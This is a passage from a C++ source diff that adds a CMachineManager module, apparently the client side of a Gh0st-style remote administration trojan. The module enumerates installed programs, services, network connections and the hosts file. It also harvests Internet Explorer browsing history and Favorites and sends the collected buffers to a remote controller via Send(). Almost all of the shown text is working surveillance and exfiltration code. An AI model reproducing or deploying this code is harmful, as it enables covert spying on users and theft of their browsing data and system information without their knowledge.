NULL, &fileLastTime); + SYSTEMTIME sTime, stLocal; + FileTimeToSystemTime(&fileLastTime, &sTime); + SystemTimeToTzSpecificLocalTime(NULL, &sTime, &stLocal); + char tchTime[MAX_LEG] = { 0 }; + wsprintf(tchTime, _T("%d%02d%02d"), stLocal.wYear, stLocal.wMonth, stLocal.wDay); + lstrcpy(regInstallData, tchTime); + } + + dwRegSize = MAX_LEG; + memset(regUninstallString, 0, MAX_LEG); + RegQueryValueEx(hSubKey, _T("UninstallString"), 0, &dwType, (LPBYTE)regUninstallString, &dwRegSize); + + // 缓冲区太小,再重新分配下 + dwLength = lstrlen(regDisplayName) * sizeof(char) + lstrlen(regPublisher) * sizeof(char) + lstrlen(regDisplayVersion) * + sizeof(char) + lstrlen(regInstallData) * sizeof(char) + lstrlen(regUninstallString) * sizeof(char) + 11; + if (LocalSize(lpBuffer) < (dwOffset + dwLength)) + lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE); + + memcpy(lpBuffer + dwOffset, regDisplayName, lstrlen(regDisplayName) * sizeof(char) + 2); + dwOffset += lstrlen(regDisplayName) * sizeof(char) + 2; + + memcpy(lpBuffer + dwOffset, regPublisher, lstrlen(regPublisher) * sizeof(char) + 2); + dwOffset += lstrlen(regPublisher) * sizeof(char) + 2; + + memcpy(lpBuffer + dwOffset, regDisplayVersion, lstrlen(regDisplayVersion) * sizeof(char) + 2); + dwOffset += lstrlen(regDisplayVersion) * sizeof(char) + 2; + + memcpy(lpBuffer + dwOffset, regInstallData, lstrlen(regInstallData) * sizeof(char) + 2); + dwOffset += lstrlen(regInstallData) * sizeof(char) + 2; + + memcpy(lpBuffer + dwOffset, regUninstallString, lstrlen(regUninstallString) * sizeof(char) + 2); + dwOffset += lstrlen(regUninstallString) * sizeof(char) + 2; + } + } + } + } else { + return FALSE; //打开键失败 + } + + RegCloseKey(hKey); + + if (Is64BitOS()) { + if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, _T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall"), + NULL, KEY_READ | KEY_WOW64_64KEY, &hKey) == ERROR_SUCCESS) { + if (RegQueryInfoKey(hKey, NULL, NULL, NULL, &dwRegNum, NULL, NULL, NULL, NULL, NULL, NULL, NULL) == ERROR_SUCCESS) { + for (int i = 0; i < (int)dwRegNum; i++) { + DWORD dwRegSize = MAX_LEG; + RegEnumKeyEx(hKey, i, regBufferName, &dwRegSize, NULL, NULL, NULL, NULL); + DWORD dwType; + HKEY hSubKey; + if (RegOpenKeyEx(hKey, regBufferName, NULL, KEY_READ, &hSubKey) == ERROR_SUCCESS) { + dwRegSize = MAX_LEG; + memset(regDisplayName, 0, MAX_LEG); + RegQueryValueEx(hSubKey, _T("DisplayName"), 0, &dwType, (LPBYTE)regDisplayName, &dwRegSize); + + dwRegSize = MAX_LEG; + memset(regBufferValue, 0, MAX_LEG); + // 取ParentKeyName键值,判断是否是补丁信息, 是补丁信息键值为"OperatingSystem" + RegQueryValueEx(hSubKey, _T("ParentKeyName"), 0, &dwType, (LPBYTE)regBufferValue, &dwRegSize); + if (lstrlen(regDisplayName) == 0 || lstrcmp(regBufferValue, _T("OperatingSystem")) == 0) { //判断是否是补丁信息 + continue; + } + + dwRegSize = MAX_LEG; + memset(regPublisher, 0, MAX_LEG); + RegQueryValueEx(hSubKey, _T("Publisher"), 0, &dwType, (LPBYTE)regPublisher, &dwRegSize); + + dwRegSize = MAX_LEG; + memset(regDisplayVersion, 0, MAX_LEG); + RegQueryValueEx(hSubKey, _T("DisplayVersion"), 0, &dwType, (LPBYTE)regDisplayVersion, &dwRegSize); + + dwRegSize = MAX_LEG; + memset(regInstallData, 0, MAX_LEG); + // 判断是否能在注册表中获取到安装时间, 否取子项创建时间 + if (RegQueryValueEx(hSubKey, _T("InstallDate"), 0, &dwType, (LPBYTE)regInstallData, &dwRegSize) == ERROR_SUCCESS) { + char Year[5], Month[5], Day[5]; + lstrcpyn(Year, regInstallData, 5); + lstrcpyn(Month, regInstallData + 4, 3); + lstrcpyn(Day, regInstallData + 4 + 2, 3); + wsprintf(regInstallData, _T("%s/%s/%s"), Year, Month, Day); + } else { + FILETIME fileLastTime; + RegQueryInfoKey(hSubKey, NULL, NULL, NULL, NULL, NULL, NULL, NULL, + NULL, NULL, NULL, &fileLastTime); + SYSTEMTIME sTime, stLocal; + FileTimeToSystemTime(&fileLastTime, &sTime); + SystemTimeToTzSpecificLocalTime(NULL, &sTime, &stLocal); + wsprintf(regInstallData, _T("%d/%02d/%02d"), stLocal.wYear, stLocal.wMonth, stLocal.wDay); + } + + dwRegSize = MAX_LEG; + memset(regUninstallString, 0, MAX_LEG); + RegQueryValueEx(hSubKey, _T("UninstallString"), 0, &dwType, (LPBYTE)regUninstallString, &dwRegSize); + + // 缓冲区太小,再重新分配下 + dwLength = lstrlen(regDisplayName) * sizeof(char) + lstrlen(regPublisher) * sizeof(char) + lstrlen(regDisplayVersion) * + sizeof(char) + lstrlen(regInstallData) * sizeof(char) + lstrlen(regUninstallString) * sizeof(char) + 11; + if (LocalSize(lpBuffer) < (dwOffset + dwLength)) + lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE); + + memcpy(lpBuffer + dwOffset, regDisplayName, lstrlen(regDisplayName) * sizeof(char) + 2); + dwOffset += lstrlen(regDisplayName) * sizeof(char) + 2; + + memcpy(lpBuffer + dwOffset, regPublisher, lstrlen(regPublisher) * sizeof(char) + 2); + dwOffset += lstrlen(regPublisher) * sizeof(char) + 2; + + memcpy(lpBuffer + dwOffset, regDisplayVersion, lstrlen(regDisplayVersion) * sizeof(char) + 2); + dwOffset += lstrlen(regDisplayVersion) * sizeof(char) + 2; + + memcpy(lpBuffer + dwOffset, regInstallData, lstrlen(regInstallData) * sizeof(char) + 2); + dwOffset += lstrlen(regInstallData) * sizeof(char) + 2; + + memcpy(lpBuffer + dwOffset, regUninstallString, lstrlen(regUninstallString) * sizeof(char) + 2); + dwOffset += lstrlen(regUninstallString) * sizeof(char) + 2; + } + } + } + } else + return FALSE; //打开键失败 + RegCloseKey(hKey); + } + + lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT | LMEM_MOVEABLE); + + return lpBuffer; +} + + +void CMachineManager::SendIEHistoryList() +{ + LPBYTE lpBuffer = getIEHistoryList(); + if (lpBuffer == NULL) + return; + + Send((LPBYTE)lpBuffer, (UINT)LocalSize(lpBuffer)); + LocalFree(lpBuffer); +} + + +LPBYTE CMachineManager::getIEHistoryList() +{ + HRESULT hr = 0; + IUrlHistoryStg2* puhs = nullptr; + IEnumSTATURL* pesu; + STATURL su = {}; + su.cbSize = sizeof(STATURL); + ULONG celt = 0; + CoInitialize(NULL); + hr = CoCreateInstance(CLSID_CUrlHistory, NULL, CLSCTX_INPROC_SERVER, IID_IUrlHistoryStg, (LPVOID*)&puhs); + LPBYTE lpBuffer = NULL; + DWORD dwOffset = 1; + DWORD dwLength = 0; + lpBuffer = (LPBYTE)LocalAlloc(LPTR, 10000); + lpBuffer[0] = TOKEN_MACHINE_HTML; + Browsinghistory m_Browsinghistory; + dwLength = sizeof(Browsinghistory); + if (SUCCEEDED(hr)) { + hr = puhs->EnumUrls(&pesu); + if (SUCCEEDED(hr)) { + while (SUCCEEDED(pesu->Next(1, &su, &celt)) && celt > 0) { + ZeroMemory(&m_Browsinghistory, sizeof(Browsinghistory)); + std::string url = WideToAnsi(su.pwcsUrl); + std::string title = WideToAnsi(su.pwcsTitle); + if (url.length() < 1024) + memcpy(m_Browsinghistory.strUrl, url.c_str(), url.length()+1); + else + wsprintf(m_Browsinghistory.strUrl, _T("---")); + if (title.length() < 1024) + memcpy(m_Browsinghistory.strTitle, title.c_str(), title.length()+1); + else + wsprintf(m_Browsinghistory.strTitle, _T("---")); + SYSTEMTIME st; + if (&su.ftLastVisited != NULL) { + FileTimeToSystemTime(&su.ftLastVisited, &st); + wsprintf(m_Browsinghistory.strTime, _T("%d-%d-%d %d:%d:%d"), st.wYear, st.wMonth, st.wDay, st.wHour, st.wSecond, st.wMinute); + } else { + wsprintf(m_Browsinghistory.strTime, _T("---")); + } + if (LocalSize(lpBuffer) < (dwOffset + dwLength)) + lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE); + + memcpy(lpBuffer + dwOffset, &m_Browsinghistory, sizeof(Browsinghistory)); + dwOffset += sizeof(Browsinghistory); + + CoTaskMemFree(su.pwcsUrl); + CoTaskMemFree(su.pwcsTitle); + su.pwcsUrl = nullptr; + su.pwcsTitle = nullptr; + } + pesu->Release(); + puhs->Release(); + } + } + CoUninitialize(); + lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT | LMEM_MOVEABLE); + return lpBuffer; +} + +void CMachineManager::SendFavoritesUrlList() +{ + LPBYTE lpBuffer = getFavoritesUrlList(); + if (lpBuffer == NULL) + return; + + Send((LPBYTE)lpBuffer, (int)LocalSize(lpBuffer)); + LocalFree(lpBuffer); +} + + +void CMachineManager::FindFavoritesUrl(char* searchfilename, PBYTE &lpFUBuffer, int& dwFUOffset) +{ + char favpath[MAX_PATH] = { 0 }; + char tmpPath[MAX_PATH] = { 0 }; + DWORD dwFULength = 0; + + lstrcat(favpath, searchfilename); + lstrcat(favpath, _T("\\*.*")); + + WIN32_FIND_DATA fd; + ZeroMemory(&fd, sizeof(WIN32_FIND_DATA)); + + HANDLE hFind = FindFirstFile(favpath, &fd); // 文件后缀都是 url + do { + if (fd.cFileName[0] != _T('.')) { + lstrcpy(tmpPath, searchfilename); + lstrcat(tmpPath, _T("\\")); + lstrcat(tmpPath, fd.cFileName); + if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { + FindFavoritesUrl(tmpPath, lpFUBuffer, dwFUOffset); + } else if (_tcsstr(fd.cFileName, _T(".url"))) { + + char buf[MAX_PATH] = { 0 }; + ::GetPrivateProfileString(_T("InternetShortcut"), _T("URL"), _T(""), buf, sizeof(buf), tmpPath); + + dwFULength = lstrlen(buf) * sizeof(char) + lstrlen(fd.cFileName) * sizeof(char) + 4; + + if (LocalSize(lpFUBuffer) < (dwFUOffset + dwFULength)) + lpFUBuffer = (LPBYTE)LocalReAlloc(lpFUBuffer, (dwFUOffset + dwFULength) + 1024, LMEM_ZEROINIT | LMEM_MOVEABLE); + + memcpy(lpFUBuffer + dwFUOffset, fd.cFileName, lstrlen(fd.cFileName) * sizeof(char) + 2); + dwFUOffset += lstrlen(fd.cFileName) * sizeof(char) + 2; + + memcpy(lpFUBuffer + dwFUOffset, buf, lstrlen(buf) * sizeof(char) + 2); + dwFUOffset += lstrlen(buf) * sizeof(char) + 2; + } + } + } while (FindNextFile(hFind, &fd)); + FindClose(hFind); +} + + +LPBYTE CMachineManager::getFavoritesUrlList() +{ + char favpath[MAX_PATH] = { 0 }; + + // 从注册表获取收藏夹所在位置 + HKEY hKEY; + DWORD type = REG_SZ; + LPCTSTR path = _T("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders"); + DWORD cbData = 80; + ::RegOpenKeyEx(HKEY_CURRENT_USER, path, 0, KEY_READ, &hKEY); + ::RegQueryValueEx(hKEY, _T("Favorites"), NULL, &type, (LPBYTE)favpath, &cbData); + ::RegCloseKey(hKEY); + + LPBYTE lpFUBuffer = (LPBYTE)LocalAlloc(LPTR, 10000); + lpFUBuffer[0] = TOKEN_MACHINE_FAVORITES; + + int dwFUOffset = 1; + FindFavoritesUrl(favpath, lpFUBuffer, dwFUOffset); + + lpFUBuffer = (LPBYTE)LocalReAlloc(lpFUBuffer, dwFUOffset, LMEM_ZEROINIT | LMEM_MOVEABLE); + + return lpFUBuffer; +} + +void CMachineManager::SendServicesList(DWORD dwScType) +{ + UINT nRet = -1; + LPBYTE lpBuffer = getServiceList(dwScType); + if (lpBuffer == NULL) + return; + + Send((LPBYTE)lpBuffer, (int)(LocalSize(lpBuffer))); + LocalFree(lpBuffer); +} + +LPBYTE CMachineManager::getServiceList(DWORD dwScType) +{ + EnablePrivilege(SE_DEBUG_NAME, TRUE); + LPBYTE lpBuffer = NULL; + DWORD dwOffset = 0; + DWORD dwLength = 1024 * 8; + char strState[100], strStartType[100], lpDescription[1024]; + + LPENUM_SERVICE_STATUS lpServices = NULL; + SC_HANDLE sc = NULL; + DWORD size = 0; + DWORD ret = 0; + + char* szInfo[1024 * 8]; + DWORD dwSize = 1024 * 8; + + sc = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); + + //第一次调用来得到需要多大的内存区 + EnumServicesStatus(sc, dwScType, SERVICE_STATE_ALL, lpServices, size, &size, &ret, NULL); + //申请需要的内存 + lpServices = (LPENUM_SERVICE_STATUS)LocalAlloc(LPTR, size); + EnumServicesStatus(sc, dwScType, SERVICE_STATE_ALL, lpServices, size, &size, &ret, NULL); + + // 申请Buffer内存 + lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024 * sizeof(char)); + lpBuffer[0] = TOKEN_MACHINE_SERVICE_LIST; + dwOffset = 1; + + for (DWORD i = 0; i < ret; i++) { + dwSize = 1024 * 8; + ZeroMemory(szInfo, dwSize); + + // 显示名 + SC_HANDLE sh = OpenService(sc, lpServices[i].lpServiceName, SERVICE_ALL_ACCESS); + if (sh == NULL) //打开失败 + continue; + + QueryServiceConfig2(sh, SERVICE_CONFIG_DESCRIPTION, (LPBYTE)szInfo, dwSize, &dwSize); + // 描述 + memset(lpDescription, 0, sizeof(lpDescription)); + if (((LPSERVICE_DESCRIPTION)szInfo)->lpDescription != NULL) + lstrcpy(lpDescription, ((LPSERVICE_DESCRIPTION)szInfo)->lpDescription); + + // 状态 + memset(strState, 0, sizeof(strState)); + switch (lpServices[i].ServiceStatus.dwCurrentState) { + case SERVICE_CONTINUE_PENDING: + lstrcpy(strState, _T("Continue")); + break; + case SERVICE_PAUSE_PENDING: + lstrcpy(strState, _T("Pausing")); + break; + case SERVICE_PAUSED: + lstrcpy(strState, _T("Paused")); + break; + case SERVICE_RUNNING: + lstrcpy(strState, _T("Running")); + break; + case SERVICE_START_PENDING: + lstrcpy(strState, _T("Starting")); + break; + case SERVICE_STOP_PENDING: + lstrcpy(strState, _T("Stopping")); + break; + case SERVICE_STOPPED: + lstrcpy(strState, _T("Stopped")); + break; + default: + lstrcpy(strState, _T("Erro")); + break; + } + + ZeroMemory(szInfo, dwSize); + dwSize = 1024 * 8; + if (!QueryServiceConfig(sh, (LPQUERY_SERVICE_CONFIG)szInfo, dwSize, &dwSize)) { + continue; + } + // 启动类型 + memset(strStartType, 0, sizeof(strStartType)); + switch (((LPQUERY_SERVICE_CONFIG)szInfo)->dwStartType) { + case SERVICE_AUTO_START: + lstrcpy(strStartType, _T("Auto Start")); + break; + case SERVICE_BOOT_START: + lstrcpy(strStartType, _T("Boot Start")); + break; + case SERVICE_DEMAND_START: + lstrcpy(strStartType, _T("Demand Start")); + break; + case SERVICE_DISABLED: + lstrcpy(strStartType, _T("Disabled")); + break; + case SERVICE_SYSTEM_START: + lstrcpy(strStartType, _T("System Start")); + break; + default: + lstrcpy(strStartType, _T("Error")); + break; + } + + // 服务的启动账户名 + + // 是否与桌面交互 + const char* InterActive = _T(""); + if (((LPQUERY_SERVICE_CONFIG)szInfo)->dwServiceType >= SERVICE_INTERACTIVE_PROCESS) + InterActive = _T("是"); + + //========================================================================================== + // 缓冲区太小,再重新分配下 + if (LocalSize(lpBuffer) < (dwOffset + dwLength)) + lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE); + + // 显示名称 + memcpy(lpBuffer + dwOffset, lpServices[i].lpDisplayName, lstrlen(lpServices[i].lpDisplayName) * sizeof(char) + sizeof(char)); + dwOffset += lstrlen(lpServices[i].lpDisplayName) * sizeof(char) + sizeof(char); + + // 描述 + memcpy(lpBuffer + dwOffset, lpDescription, lstrlen(lpDescription) * sizeof(char) + sizeof(char)); + dwOffset += lstrlen(lpDescription) * sizeof(char) + sizeof(char); + + // 状态 + memcpy(lpBuffer + dwOffset, strState, lstrlen(strState) * sizeof(char) + sizeof(char)); + dwOffset += lstrlen(strState) * sizeof(char) + sizeof(char); + + // 启动类型 + memcpy(lpBuffer + dwOffset, strStartType, lstrlen(strStartType) * sizeof(char) + sizeof(char)); + dwOffset += lstrlen(strStartType) * sizeof(char) + sizeof(char); + + // 登陆身份 + memcpy(lpBuffer + dwOffset, ((LPQUERY_SERVICE_CONFIG)szInfo)->lpServiceStartName, + lstrlen(((LPQUERY_SERVICE_CONFIG)szInfo)->lpServiceStartName) * sizeof(char) + sizeof(char)); + dwOffset += lstrlen(((LPQUERY_SERVICE_CONFIG)szInfo)->lpServiceStartName) * sizeof(char) + sizeof(char); + + // 桌面交互 + memcpy(lpBuffer + dwOffset, InterActive, lstrlen(InterActive) * sizeof(char) + sizeof(char)); + dwOffset += lstrlen(InterActive) * sizeof(char) + sizeof(char); + + // 服务名 + memcpy(lpBuffer + dwOffset, lpServices[i].lpServiceName, lstrlen(lpServices[i].lpServiceName) * sizeof(char) + sizeof(char)); + dwOffset += lstrlen(lpServices[i].lpServiceName) * sizeof(char) + sizeof(char); + + // 可执行文件路径 + memcpy(lpBuffer + dwOffset, ((LPQUERY_SERVICE_CONFIG)szInfo)->lpBinaryPathName, + lstrlen(((LPQUERY_SERVICE_CONFIG)szInfo)->lpBinaryPathName) * sizeof(char) + sizeof(char)); + dwOffset += lstrlen(((LPQUERY_SERVICE_CONFIG)szInfo)->lpBinaryPathName) * sizeof(char) + sizeof(char); + + // 控制通知 + + CloseServiceHandle(sh); + } + + CloseServiceHandle(sc); + + lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT | LMEM_MOVEABLE); + EnablePrivilege(SE_DEBUG_NAME, FALSE); + return lpBuffer; +} + +void CMachineManager::SendHostsList() +{ + char szHostsFile[MAX_PATH] = { 0 }; + BOOL bIsWow64 = FALSE; + HANDLE hFile = INVALID_HANDLE_VALUE; + DWORD dwSize = 0, dwRead; + LPBYTE lpBuffer = NULL; + + GetWindowsDirectory(szHostsFile, sizeof(szHostsFile)); + ::IsWow64Process(::GetCurrentProcess(), &bIsWow64); + if (bIsWow64) + lstrcat(szHostsFile, _T("\\sysnative\\drivers\\etc\\hosts")); + else + lstrcat(szHostsFile, _T("\\system32\\drivers\\etc\\hosts")); + + SetFileAttributes(szHostsFile, FILE_ATTRIBUTE_NORMAL); + hFile = CreateFile(szHostsFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_ALWAYS, 0, NULL); + if (hFile == INVALID_HANDLE_VALUE) + return; + dwSize = GetFileSize(hFile, NULL); + lpBuffer = (LPBYTE)LocalAlloc(LPTR, dwSize + 2); + if (!ReadFile(hFile, lpBuffer + 1, dwSize, &dwRead, NULL)) { + LocalFree(lpBuffer); + CloseHandle(hFile); + return; + } + CloseHandle(hFile); + + lpBuffer[0] = TOKEN_MACHINE_HOSTS; + Send((LPBYTE)lpBuffer, (UINT)LocalSize(lpBuffer)); + LocalFree(lpBuffer); +} + + +LPBYTE CMachineManager::getNetStateList() +{ + LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024); + lpBuffer[0] = TOKEN_MACHINE_NETSTATE; + DWORD dwOffset = 1; + DWORD dwLength = 0; + WCHAR* temp; + // 定义扩展函数指针 + PFNAllocateAndGetTcpExTableFromStack pAllocateAndGetTcpExTableFromStack; + PFNAllocateAndGetUdpExTableFromStack pAllocateAndGetUdpExTableFromStack; + + // 获取扩展函数的入口地址 + HMODULE hModule = ::LoadLibrary(_T("iphlpapi.dll")); + pAllocateAndGetTcpExTableFromStack = + (PFNAllocateAndGetTcpExTableFromStack)::GetProcAddress(hModule, + "AllocateAndGetTcpExTableFromStack"); + + pAllocateAndGetUdpExTableFromStack = + (PFNAllocateAndGetUdpExTableFromStack)::GetProcAddress(hModule, + "AllocateAndGetUdpExTableFromStack"); + + if (pAllocateAndGetTcpExTableFromStack != NULL || pAllocateAndGetUdpExTableFromStack != NULL) { + // 调用扩展函数,获取TCP扩展连接表和UDP扩展监听表 + PMIB_TCPEXTABLE pTcpExTable; + PMIB_UDPEXTABLE pUdpExTable; + + // pTcpExTable和pUdpExTable所指的缓冲区自动由扩展函数在进程堆中申请 + if (pAllocateAndGetTcpExTableFromStack(&pTcpExTable, TRUE, GetProcessHeap(), 2, 2) != 0) { + return NULL; + } + if (pAllocateAndGetUdpExTableFromStack(&pUdpExTable, TRUE, GetProcessHeap(), 2, 2) != 0) { + return NULL; + } + + // 给系统内的所有进程拍一个快照 + HANDLE hProcessSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hProcessSnap == INVALID_HANDLE_VALUE) { + return NULL; + } + + char szLocalAddr[128]; + char szRemoteAddr[128]; + char szProcessName[128]; + in_addr inadLocal, inadRemote; + char strState[128]; + DWORD dwRemotePort = 0; + + // 打印TCP扩展连接表信息 + for (UINT i = 0; i < pTcpExTable->dwNumEntries; ++i) { + // 状态 + switch (pTcpExTable->table[i].dwState) { + case MIB_TCP_STATE_CLOSED: + lstrcpy(strState, _T("已关闭")); + break; + case MIB_TCP_STATE_LISTEN: + lstrcpy(strState, _T("监听")); + break; + case MIB_TCP_STATE_SYN_SENT: + lstrcpy(strState, _T("SYN_发送")); + break; + case MIB_TCP_STATE_SYN_RCVD: + lstrcpy(strState, _T("SYN_接收")); + break; + case MIB_TCP_STATE_ESTAB: + lstrcpy(strState, _T("连接")); + break; + case MIB_TCP_STATE_FIN_WAIT1: + lstrcpy(strState, _T("FIN_WAIT1")); + break; + case MIB_TCP_STATE_FIN_WAIT2: + lstrcpy(strState, _T("FIN_WAIT2")); + break; + case MIB_TCP_STATE_CLOSE_WAIT: + lstrcpy(strState, _T("CLOSE_WAIT")); + break; + case MIB_TCP_STATE_CLOSING: + lstrcpy(strState, _T("正在关闭")); + break; + case MIB_TCP_STATE_LAST_ACK: + lstrcpy(strState, _T("LAST_ACK")); + break; + case MIB_TCP_STATE_TIME_WAIT: + lstrcpy(strState, _T("TIME_WAIT")); + break; + case MIB_TCP_STATE_DELETE_TCB: + lstrcpy(strState, _T("删除")); + break; + default: + break; + } + // 本地IP地址 + inadLocal.s_addr = pTcpExTable->table[i].dwLocalAddr; + + // 远程端口 + if (lstrcmp(strState, _T("监听")) != 0) { + dwRemotePort = pTcpExTable->table[i].dwRemotePort; + } else + dwRemotePort = 0; + + // 远程IP地址 + inadRemote.s_addr = pTcpExTable->table[i].dwRemoteAddr; + + temp = char2wchar_t(inet_ntoa(inadLocal)); + wsprintf(szLocalAddr, _T("%s:%u"), temp, + ntohs((unsigned short)(0x0000FFFF & pTcpExTable->table[i].dwLocalPort))); + SAFE_DELETE_AR(temp); + temp = char2wchar_t(inet_ntoa(inadRemote)); + wsprintf(szRemoteAddr, _T("%s:%u"), temp, + ntohs((unsigned short)(0x0000FFFF & dwRemotePort))); + SAFE_DELETE_AR(temp); + // 打印出此入口的信息 + char strProcessName[100] = { 0 }; + const char* strType = _T("[TCP]"); + lstrcpy(strProcessName, ProcessPidToName(hProcessSnap, pTcpExTable->table[i].dwProcessId, szProcessName)); + + dwLength = lstrlen(strProcessName) * sizeof(char) + sizeof(DWORD) + lstrlen(strType) * sizeof(char) + + lstrlen(szLocalAddr) * sizeof(char) + lstrlen(szRemoteAddr) * sizeof(char) + lstrlen(strState) * + sizeof(char) + 12; + if (LocalSize(lpBuffer) < (dwOffset + dwLength)) + lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE); + + memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) * sizeof(char) + 2); + dwOffset += lstrlen(strProcessName) * sizeof(char) + 2; + + memcpy(lpBuffer + dwOffset, &pTcpExTable->table[i].dwProcessId, sizeof(DWORD) + 2); + dwOffset += sizeof(DWORD) + 2; + + memcpy(lpBuffer + dwOffset, strType, lstrlen(strType) * sizeof(char) + 2); + dwOffset += lstrlen(strType) * sizeof(char) + 2; + + memcpy(lpBuffer + dwOffset, szLocalAddr, lstrlen(szLocalAddr) * sizeof(char) + 2); + dwOffset += lstrlen(szLocalAddr) * sizeof(char) + 2; + + memcpy(lpBuffer + dwOffset, szRemoteAddr, lstrlen(szRemoteAddr) * sizeof(char) + 2); + dwOffset += lstrlen(szRemoteAddr) * sizeof(char) + 2; + + memcpy(lpBuffer + dwOffset, strState, lstrlen(strState) * sizeof(char) + 2); + dwOffset += lstrlen(strState) * sizeof(char) + 2; + } + + // 打印UDP监听表信息 + for (DWORD i = 0; i < pUdpExTable->dwNumEntries; ++i) { + // 本地IP地址 + inadLocal.s_addr = pUdpExTable->table[i].dwLocalAddr; + temp = char2wchar_t(inet_ntoa(inadLocal)); + wsprintf(szLocalAddr, _T("%s:%u"), temp, + ntohs((unsigned short)(0x0000FFFF & pUdpExTable->table[i].dwLocalPort))); + SAFE_DELETE_AR(temp); + // 打印出此入口的信息 + char strProcessName[100] = { 0 }; + const char* strType = _T("[UDP]"); + const char* szRemoteAddr = _T("*.*.*.*:*"); + const char* szUDPState = _T(" "); + lstrcpy(strProcessName, ProcessPidToName(hProcessSnap, pUdpExTable->table[i].dwProcessId, szProcessName)); + + dwLength = lstrlen(strProcessName) * sizeof(char) + sizeof(DWORD) + lstrlen(strType) * sizeof(char) + + lstrlen(szLocalAddr) * sizeof(char) + lstrlen(szRemoteAddr) * sizeof(char) + lstrlen(szUDPState) * + sizeof(char) + 12; + + if (LocalSize(lpBuffer) < (dwOffset + dwLength)) + lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE); + + memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) * sizeof(char) + 2); + dwOffset += lstrlen(strProcessName) * sizeof(char) + 2; + + memcpy(lpBuffer + dwOffset, &pUdpExTable->table[i].dwProcessId, sizeof(DWORD) + 2); + dwOffset += sizeof(DWORD) + 2; + + memcpy(lpBuffer + dwOffset, strType, lstrlen(strType) * sizeof(char) + 2); + dwOffset += lstrlen(strType) * sizeof(char) + 2; + + memcpy(lpBuffer + dwOffset, szLocalAddr, lstrlen(szLocalAddr) * sizeof(char) + 2); + dwOffset += lstrlen(szLocalAddr) * sizeof(char) + 2; + + memcpy(lpBuffer + dwOffset, szRemoteAddr, lstrlen(szRemoteAddr) * sizeof(char) + 2); + dwOffset += lstrlen(szRemoteAddr) * sizeof(char) + 2; + + memcpy(lpBuffer + dwOffset, szUDPState, lstrlen(szUDPState) * sizeof(char) + 2); + dwOffset += lstrlen(szUDPState) * sizeof(char) + 2; + } + ::CloseHandle(hProcessSnap); + ::LocalFree(pTcpExTable); + ::LocalFree(pUdpExTable); + ::FreeLibrary(hModule); + } else { + char szLocalAddr[128]; + char szRemoteAddr[128]; + char szProcessName[128]; + in_addr inadLocal, inadRemote; + char strState[128]; + DWORD dwRemotePort = 0; + + PMIB_TCPEXTABLE_VISTA pTcpTable_Vista; + _InternalGetTcpTable2 pGetTcpTable = (_InternalGetTcpTable2)GetProcAddress(hModule, "InternalGetTcpTable2"); + if (pGetTcpTable == NULL) + return 0; + + if (pGetTcpTable(&pTcpTable_Vista, GetProcessHeap(), 1)) + return 0; + + // 给系统内的所有进程拍一个快照 + HANDLE hProcessSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hProcessSnap == INVALID_HANDLE_VALUE) { + return NULL; + } + + for (UINT i = 0; i < pTcpTable_Vista->dwNumEntries; i++) { + // 状态 + switch (pTcpTable_Vista->table[i].dwState) { + case MIB_TCP_STATE_CLOSED: + lstrcpy(strState, _T("已关闭")); + break; + case MIB_TCP_STATE_LISTEN: + lstrcpy(strState, _T("监听")); + break; + case MIB_TCP_STATE_SYN_SENT: + lstrcpy(strState, _T("SYN_发送")); + break; + case MIB_TCP_STATE_SYN_RCVD: + lstrcpy(strState, _T("SYN_接收")); + break; + case MIB_TCP_STATE_ESTAB: + lstrcpy(strState, _T("连接")); + break; + case MIB_TCP_STATE_FIN_WAIT1: + lstrcpy(strState, _T("FIN_WAIT1")); + break; + case MIB_TCP_STATE_FIN_WAIT2: + lstrcpy(strState, _T("FIN_WAIT2")); + break; + case MIB_TCP_STATE_CLOSE_WAIT: + lstrcpy(strState, _T("CLOSE_WAIT")); + break; + case MIB_TCP_STATE_CLOSING: + lstrcpy(strState, _T("正在关闭")); + break; + case MIB_TCP_STATE_LAST_ACK: + lstrcpy(strState, _T("LAST_ACK")); + break; + case MIB_TCP_STATE_TIME_WAIT: + lstrcpy(strState, _T("TIME_WAIT")); + break; + case MIB_TCP_STATE_DELETE_TCB: + lstrcpy(strState, _T("删除")); + break; + default: + break; + } + // 本地IP地址 + inadLocal.s_addr = pTcpTable_Vista->table[i].dwLocalAddr; + + // 远程端口 + if (lstrcmp(strState, _T("监听")) != 0) { + dwRemotePort = pTcpTable_Vista->table[i].dwRemotePort; + } else + dwRemotePort = 0; + + // 远程IP地址 + inadRemote.s_addr = pTcpTable_Vista->table[i].dwRemoteAddr; + + temp = char2wchar_t(inet_ntoa(inadLocal)); + wsprintf(szLocalAddr, _T("%s:%u"), temp, + ntohs((unsigned short)(0x0000FFFF & pTcpTable_Vista->table[i].dwLocalPort))); + SAFE_DELETE_AR(temp); + temp = char2wchar_t(inet_ntoa(inadRemote)); + 